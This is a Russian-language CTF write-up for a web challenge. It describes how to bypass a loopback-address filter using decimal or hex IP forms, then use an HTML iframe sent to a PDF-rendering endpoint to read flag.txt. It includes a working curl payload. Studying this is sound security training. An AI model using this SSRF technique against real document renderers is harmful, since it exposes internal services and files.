25 lines
1.4 KiB
Markdown
25 lines
1.4 KiB
Markdown
# Web 1.2 Страж Портала Локхолда
|
||
|
||
В Портале Локхолда стоит Страж: он не пропускает запретные имена, но не знает истинных числовых титулов. Архимаг печатает свитки, и через печать можно заглянуть туда, куда запрещено смотреть.
|
||
|
||
## Решение
|
||
|
||
Фильтр блокирует строку `127.0.0.1`, но не все эквивалентные формы `loopback`-адреса. Если использовать числовое представление (`2130706433` или `0x7f000001`), проверка обходится, и рендерер открывает тот же локальный адрес.
|
||
|
||
Дальше всё стандартно: вставляем URL в `iframe` внутри HTML-свитка, отправляем контент на `/seal` и получаем PDF с содержимым `flag.txt`.
|
||
|
||
## Пример
|
||
|
||
Вариант через `curl`:
|
||
```bash
|
||
curl -s -X POST http://localhost:8000/seal \
|
||
-F 'content=<h1>Королевский Указ</h1><iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>' \
|
||
-F 'format=html' \
|
||
-o scroll.pdf
|
||
```
|
||
|
||
Также можно воспользоваться готовым скриптом `solve/exploit.py`:
|
||
```bash
|
||
python solve/exploit.py http://localhost:8000
|
||
```
|